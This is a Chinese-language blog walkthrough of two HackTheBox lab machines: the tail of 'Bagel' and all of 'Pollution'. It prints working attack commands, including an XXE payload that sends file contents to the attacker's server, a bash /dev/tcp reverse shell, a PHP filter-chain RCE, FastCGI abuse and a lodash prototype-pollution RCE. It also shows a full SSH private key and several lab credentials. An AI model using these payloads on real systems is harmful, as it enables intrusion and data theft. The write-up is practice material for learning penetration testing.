然后调用函数ReadFile并进行赋值

1
python ws.py /home/phil/.ssh/id_rsa

得到SSH私钥

1
2
3
echo -e "-----BEGIN OPENSSH PRIVATE KEY-----\n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\nnrEIIvsBGmrx0AAAAKcGhpbEBiYWdlbAE=\n-----END OPENSSH PRIVATE KEY-----" > /tmp/phil.id_rsa
chmod 400 /tmp/phil.id_rsa
ssh -i /tmp/phil.id_rsa phil@10.10.11.201

登入SSH服务,查看user.txt

1
cat /home/phil/user.txt
1
e3c34107a7c750f4897e23fe74a9ee2e

权限提升

切至developer用户,并查看sudo权限

1
2
3
su developer
k8wdAYYKyhnjg3K
sudo -l
1
2
3
4
5
6
7
8
9
Matching Defaults entries for developer on bagel:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY
HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/var/lib/snapd/snap/bin

User developer may run the following commands on bagel:
(root) NOPASSWD: /usr/bin/dotnet
1
2
sudo -u root /usr/bin/dotnet fsi
System.Diagnostics.Process.Start("/bin/bash").WaitForExit();;

获得root权限,查看root.txt

1
cat /root/root.txt
1
d5a0583d89d813c3e82758bd9aba410d

.NET json反序列化还是有点超出我的知识范围了


n1

HackTheBox_Pollution

信息收集

端口扫描

1
nmap -p 1-10000 -sV -T5 -v 10.10.11.192
1
2
3
4
5
6
7
8
Nmap scan report for collect.htb (10.10.11.192)
Host is up (0.23s latency).
Not shown: 9997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.54 ((Debian))
6379/tcp open redis Redis key-value store
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

VHOST

访问http://10.10.11.192

页面中得到域名collect.htb

添加域名解析

1
echo -e '10.10.11.192\tcollect.htb' >> /etc/hosts

子域名枚举

1
wfuzz -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "collect.htb" -H "Host: FUZZ.collect.htb" --hl 541
1
2
000000023:   200        336 L    1220 W     14099 Ch    "forum"
000002341: 401 14 L 54 W 469 Ch "developers"

添加域名解析

1
2
echo -e '10.10.11.192\tforum.collect.htb' >> /etc/hosts
echo -e '10.10.11.192\tdevelopers.collect.htb' >> /etc/hosts

漏洞利用

从链接http://forum.collect.htb/attachment.php?aid=3得到HTTP访问记录

得到以下纪录

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /set/role/admin HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=r8qne20hig1k3li6prgk91t33j
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

token=ddac62a28254561001277727cb397baf

collect.htb注册并登入

使用该Token对自己在collect.htb对应得Session进行赋予admin角色操作

1
curl http://collect.htb/set/role/admin -H "Cookie: PHPSESSID=Bufferfly;" -d "token=ddac62a28254561001277727cb397baf" -v
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
*   Trying 10.10.11.192:80...
* Connected to collect.htb (10.10.11.192) port 80 (#0)
> POST /set/role/admin HTTP/1.1
> Host: collect.htb
> User-Agent: curl/7.87.0
> Accept: */*
> Cookie: PHPSESSID=Bufferfly;
> Content-Length: 38
> Content-Type: application/x-www-form-urlencoded
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 Found
< Date: Fri, 31 Mar 2023 15:27:35 GMT
< Server: Apache/2.4.54 (Debian)
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Location: /admin
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host collect.htb left intact

访问http://collect.htb/admin

注册API用户的POST Data如下

1
manage_api=<?xml version="1.0" encoding="UTF-8"?><root><method>POST</method><uri>/auth/register</uri><user><username>a</username><password>b</password></user></root>

进行XXE_to_SSRF

1
curl http://collect.htb/api -H "Cookie: PHPSESSID=Bufferfly" -d 'manage_api=<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://10.10.*.*/BFL"> %xxe; ]>'
1
2
10.10.11.192 - - [31/Mar/2023 11:43:54] code 404, message File not found
10.10.11.192 - - [31/Mar/2023 11:43:54] "GET /BFL HTTP/1.1" 404 -

这里应该想到,Apache2服务不同于Nginx,Nginx可以通过反向代理到localhost的多个不同端口,可以使相同端口下的WEB服务,不同的域名的WEB服务可以对应不同的WEB脚本语言

而Apache2的不同域名仅是DocumentRoot不同,不会出现不同WEB脚本语言,且一般仅与PHP搭配使用

编写bfl.dtd如下

1
2
3
4
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://10.10.*.*/?BFL=%file;'>">
%eval;
%exfiltrate;

开启HTTP服务

1
python -m http.server 80

进行XXE_to_LFI&SSRF

1
curl http://collect.htb/api -H "Cookie: PHPSESSID=Bufferfly" -d 'manage_api=<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://10.10.*.*/bfl.dtd"> %xxe;]>'

得到index.php的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

require '../bootstrap.php';

use app\classes\Routes;
use app\classes\Uri;


$routes = [
"/" => "controllers/index.php",
"/login" => "controllers/login.php",
"/register" => "controllers/register.php",
"/home" => "controllers/home.php",
"/admin" => "controllers/admin.php",
"/api" => "controllers/api.php",
"/set/role/admin" => "controllers/set_role_admin.php",
"/logout" => "controllers/logout.php"
];

$uri = Uri::load();
require Routes::load($uri, $routes);

查看../bootstrap.php的内容

1
2
3
4
5
6
7
<?php
ini_set('session.save_handler','redis');
ini_set('session.save_path','tcp://127.0.0.1:6379/?auth=COLLECTR3D1SPASS');

session_start();

require '../vendor/autoload.php';

/etc/passwd不可读,疑似有过滤

查看../../../../etc/apache2/sites-available/000-default.conf的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com

ServerAdmin webmaster@localhost
DocumentRoot /var/www/collect/public

# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined

# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

根据000-default.conf猜测developers.collect.htb的DocumentRoot为/var/www/developers/

由于developers.collect.htb有Basic认证

尝试利用XXE读取.htaccess.htpasswd文件

../../developers/.htpasswd的内容如下

1
developers_group:$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1

爆破Hash

1
hashcat -m 1600 hash /usr/share/wordlist/rockyou.txt

得到以下凭证

1
developers_group:r0cket

../../developers/index.php的内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
require './bootstrap.php';


if (!isset($_SESSION['auth']) or $_SESSION['auth'] != True) {
die(header('Location: /login.php'));
}

if (!isset($_GET['page']) or empty($_GET['page'])) {
die(header('Location: /?page=home'));
}

$view = 1;

?>

<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="assets/js/tailwind.js"></script>
<title>Developers Collect</title>
</head>

<body>
<div class="flex flex-col h-screen justify-between">
<?php include("header.php"); ?>

<main class="mb-auto mx-24">
<?php include($_GET['page'] . ".php"); ?>
</main>

<?php include("footer.php"); ?>
</div>

</body>

</html>

../../developers/bootstrap.php的内容如下

1
2
3
4
5
6
<?php

ini_set('session.save_handler', 'redis');
ini_set('session.save_path', 'tcp://localhost:6379/?auth=COLLECTR3D1SPASS');

session_start();

看来developer.collect.htb的Session是用redis保存的

更改自己的Session的auth变量为True

1
redis-cli -h 10.10.11.192 -a COLLECTR3D1SPASS set PHPREDIS_SESSION:Bufferfly "username|s:9:\"Bufferfly\";auth|s:4:\"True\";"

collect.htb的Session同样使用Redis存储,但是存储内容为"username|s:9:\"Bufferfly\";role|s:5:\"admin\";",没有auth变量,无法用于developers.collect.htb

使用Session访问http://developers.collect.htb/?page=home

监听

1
nc -lvnp 9998

构造Payload并进行反弹Shell

1
2
python php_filter_chain_generator.py --chain '<?php @eval($_GET["BFL"]);?>     '
curl 'http://developers.collect.htb/?page=$PAYLOAD&BFL=system("bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.*.*%2F9998%200%3E%261%27");' -H "Authorization: Basic ZGV2ZWxvcGVyc19ncm91cDpyMGNrZXQ=" -H "Cookie: PHPSESSID=Bufferfly"

查看/etc/passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
tss:x:103:109:TPM software stack,,,:/var/lib/tpm:/bin/false
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:105:111:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
avahi-autoipd:x:106:115:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:108:116:RealtimeKit,,,:/proc:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
dnsmasq:x:110:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi:x:111:117:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
speech-dispatcher:x:112:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
pulse:x:113:119:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
saned:x:114:122::/var/lib/saned:/usr/sbin/nologin
colord:x:115:123:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:116:124::/var/lib/geoclue:/usr/sbin/nologin
Debian-gdm:x:117:125:Gnome Display Manager:/var/lib/gdm3:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:118:126:MySQL Server,,,:/nonexistent:/bin/false
victor:x:1002:1002::/home/victor:/bin/bash
vboxadd:x:998:1::/var/run/vboxadd:/bin/false
redis:x:119:127::/var/lib/redis:/usr/sbin/nologin
_laurel:x:997:997::/var/log/laurel:/bin/false

查看/var/www/developers/login.php

1
cat /var/www/developers/login.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
require './bootstrap.php';

if(isset($_SESSION['auth']) && $_SESSION['auth'] == True)
{
die(header("Location: /"));
}

$db = new mysqli("localhost", "webapp_user", "Str0ngP4ssw0rdB*12@1", "developers");
$db->set_charset('utf8mb4');
$db->options(MYSQLI_OPT_INT_AND_FLOAT_NATIVE, 1);

if (isset($_POST['username']) && !empty($_POST['username']) && isset($_POST['password']) && !empty($_POST['password'])) {
$stmt = $db->prepare("SELECT * FROM users where username=?");
$stmt->bind_param("s", $_POST['username']);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_object();

if ($row && $row->username == $_POST['username'] && $row->password == md5($_POST['password'])) {
$_SESSION['username'] = $_POST['username'];
$_SESSION['auth'] = True;

die(header('Location: /'));
}
}
?>

得到Mysql服务凭证webapp_user:Str0ngP4ssw0rdB*12@1

查看本地服务

1
netstat -antlp | grep 127.0.0.1
1
2
3
4
5
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -

查看Victor的进程

1
ps -auxwww | grep victor
1
2
victor      1119  0.0  0.5 265840 21416 ?        S    Mar31   0:00 php-fpm: pool victor
victor 1120 0.0 0.5 265840 21664 ? S Mar31 0:00 php-fpm: pool victor

9000端口疑似为FastCGI,3000端口根据之前的HTTP记录可以得知为API

https://book.hacktricks.xyz/network-services-pentesting/9000-pentesting-fastcgi

监听

1
nc -lvnp 9997

构造shell脚本,替换部分内容如下

1
2
PAYLOAD="<?php echo '<!--'; system('echo -n $PYTHON_REVERSE_SHELL_PAYLOAD_BASE64_ENCODED | base64 -d | bash '); echo '-->';"
FILENAMES="/tmp/bfl.php" # Exisiting file path

开启HTTP服务

1
python -m http.server 80

获取shell脚本并执行

1
2
3
touch /tmp/bfl.php
curl http://10.10.*.*/bfl.sh -o /tmp/bfl.sh
bash /tmp/bfl.sh &

获得反弹Shell

1
cat /home/victor/user.txt
1
88ca55f71209346e09d9612d70defd95

权限提升

用户victor的Home路径下有一份pollution_api的源码

查看服务进程

1
ps -auxwww | grep index.js
1
root        1325  0.0  1.9 1681764 79172 ?       Sl   Mar31   0:02 /usr/bin/node /root/pollution_api/index.js

基本确定提权是要利用Node.Js服务的漏洞

1
cat /home/victor/pollution_api/index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
const express = require('express');
const app = express();
const bodyParser = require('body-parser');

app.use(bodyParser.json());

app.get('/',(req,res)=>{
res.json({Status: "Ok", Message: 'Read documentation from api in /documentation'});
})


app.use('/auth',require('./routes/auth'));
app.use('/client',require('./routes/client'));
app.use('/admin',require('./routes/admin'));
app.use('/documentation',require('./routes/documentation'));



app.listen(3000, '127.0.0.1');
console.log('Listen on http://localhost:3000');

查看/home/victor/pollution_api/routes/auth.js

此部分与登录相关

1
cat /home/victor/pollution_api/routes/auth.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
const express = require('express');
const User = require('../models/User');
const router = express.Router();
const { signtoken } = require('../functions/jwt')
const { exec } = require('child_process');

router.post('/register', async (req,res)=>{
if(req.body.username != null && req.body.password != null){
try{
const find = await User.findAll({where: {username: req.body.username}})
if(find.length == 0){

User.create({
username: req.body.username,
password: req.body.password,
role: "user"
});

exec('/home/victor/pollution_api/log.sh log_register');

return res.json({Status: "Ok"});

}

return res.json({Status: "This user already exists"});
}catch(err){

return res.json({Status: "Error"});

}
}

return res.json({Status: "Parameters not found"});
})

router.post('/login', async (req,res)=>{
if(req.body.username != null && req.body.password != null){
try{
const find = await User.findAll({where: {username: req.body.username, password: req.body.password}});
if(find.length > 0){

exec('/home/victor/pollution_api/log.sh log_login');

const token = signtoken({user: find[0].username, is_auth: true, role: find[0].role});
return res.json({
Status: "Ok",
Header: {
"x-access-token": token
}
});

}

return res.json({Status: "Error", Message: "Invalid Credentials"});
}catch(err){

return res.json({Status: "Error"});

}

}

return res.json({Status: "Parameters not found"});
})


module.exports = router;

进入路径/home/victor/pollution_api/model,可以看到一个db.js

查看/home/victor/pollution_api/model/db.js

1
cat /home/victor/pollution_api/model/db.js
1
2
3
4
5
6
7
8
9
10
11
12
13
const Sequelize = require('sequelize');
const sequelize = new Sequelize('pollution_api','webapp_user','Str0ngP4ssw0rdB*12@1',{
host: '127.0.0.1',
dialect: 'mysql',
define: {
charset: 'utf8',
collate: 'utf8_general_ci',
timestamps: true
},
logging: false
})

module.exports = { Sequelize, sequelize };

该服务的账户存储于Mysql中

查看/home/victor/pollution_api/routes/admin.js

1
cat /home/victor/pollution_api/routes/admin.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
const express = require('express');
const router = express.Router();
const User = require('../models/User');
const { decodejwt } = require('../functions/jwt')

//controllers

const { messages } = require('../controllers/Messages');
const { messages_send } = require('../controllers/Messages_send');

router.use('/', async(req,res,next)=>{
if(req.headers["x-access-token"]){

const token = decodejwt(req.headers["x-access-token"]);
if(token){
const find = await User.findAll({where: {username: token.user, role: token.role}});

if(find.length > 0){

if(find[0].username == token.user && find[0].role == token.role && token.role == "admin"){

return next();

}

return res.json({Status: "Error", Message: "You are not allowed"});
}

return res.json({Status: "Error", Message: "You are not allowed"});
}

return res.json({Status: "Error", Message: "You are not allowed"});
}

return res.json({Status: "Error", Message: "You are not allowed"});
})

router.get('/',(req,res)=>{
res.json({Status: "Ok", Message: 'Read documentation from api in /documentation'});
})

router.post('/messages',messages);
router.post('/messages/send', messages_send);

module.exports = router;

这里会对Token进行校验,Token的用户名和role需要与数据库中的内容匹配且role需要为"admin"

查看/home/victor/pollution_api/controllers/Messages_send.js

1
cat /home/victor/pollution_api/controllers/Messages_send.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
const Message = require('../models/Message');
const { decodejwt } = require('../functions/jwt');
const _ = require('lodash');
const { exec } = require('child_process');

const messages_send = async(req,res)=>{
const token = decodejwt(req.headers['x-access-token'])
if(req.body.text){

const message = {
user_sent: token.user,
title: "Message for admins",
};

_.merge(message, req.body);

exec('/home/victor/pollution_api/log.sh log_message');

Message.create({
text: JSON.stringify(message),
user_sent: token.user
});

return res.json({Status: "Ok"});

}

return res.json({Status: "Error", Message: "Parameter text not found"});
}

module.exports = { messages_send };

https://blog.csdn.net/qq_61209261/article/details/125821976

函数merge存在js原型污染漏洞

注册用户

1
curl 'http://127.0.0.1:3000/auth/register' -H "Content-Type: application/json" -d '{"username": "Bufferfly", "password": "Bufferfly"}'

获取tty,访问Mysql

1
2
python3 -c 'import pty;pty.spawn("/bin/bash")'
mysql -u webapp_user -p'Str0ngP4ssw0rdB*12@1'

查看用户表

1
select * from pollution_api.users;
1
2
3
4
5
+----+-----------+-----------+------+---------------------+---------------------+
| id | username | password | role | createdAt | updatedAt |
+----+-----------+-----------+------+---------------------+---------------------+
| 1 | Bufferfly | Bufferfly | user | 2023-04-01 17:13:24 | 2023-04-01 17:13:24 |
+----+-----------+-----------+------+---------------------+---------------------+

更改role字段

1
2
update pollution_api.users set role="admin" where id=1;
select * from pollution_api.users;
1
2
3
4
5
+----+-----------+-----------+-------+---------------------+---------------------+
| id | username | password | role | createdAt | updatedAt |
+----+-----------+-----------+-------+---------------------+---------------------+
| 1 | Bufferfly | Bufferfly | admin | 2023-04-01 17:13:24 | 2023-04-01 17:13:24 |
+----+-----------+-----------+-------+---------------------+---------------------+

登录API,获得Token

1
curl http://127.0.0.1:3000/auth/login -d '{"username":"Bufferfly","password":"Bufferfly"}' -H "Content-Type: application/json"
1
{"Status":"Ok","Header":{"x-access-token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiQnVmZmVyZmx5IiwiaXNfYXV0aCI6dHJ1ZSwicm9sZSI6ImFkbWluIiwiaWF0IjoxNjgwMzY5NjM5LCJleHAiOjE2ODAzNzMyMzl9.U1kKGgUlgtNnE3_OD3h7n-tB7cBI4FQYv-yixokgxKc"}}

https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce#pp2rce-via-env-vars-+-cmdline

监听

1
nc -lvnp 9996

触发原型污染漏洞

1
curl http://127.0.0.1:3000/admin/messages/send -d '{"text": {"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\"child_process\").execSync(\"echo -n $PYTHON_REVERSE_SHELL_PAYLOAD_BASE64_ENCODED | base64 -d | bash\").toString())//"}}}' -H "Content-Type: application/json" -H "x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiQnVmZmVyZmx5IiwiaXNfYXV0aCI6dHJ1ZSwicm9sZSI6ImFkbWluIiwiaWF0IjoxNjgwMzY5NjM5LCJleHAiOjE2ODAzNzMyMzl9.U1kKGgUlgtNnE3_OD3h7n-tB7cBI4FQYv-yixokgxKc"

查看root.txt

1
cat /root/root.txt
1
748b470c7c0daaf4c5754c19ba32b9f1

虽然不太懂js原型污染的漏洞原理,但是跟着hacktricks抄Payload就能打通,以后再看吧

一个月做了12台靶机带几个题总算是上到Pro Hacker了

博客文章得整理一下,该好好准备OSCP了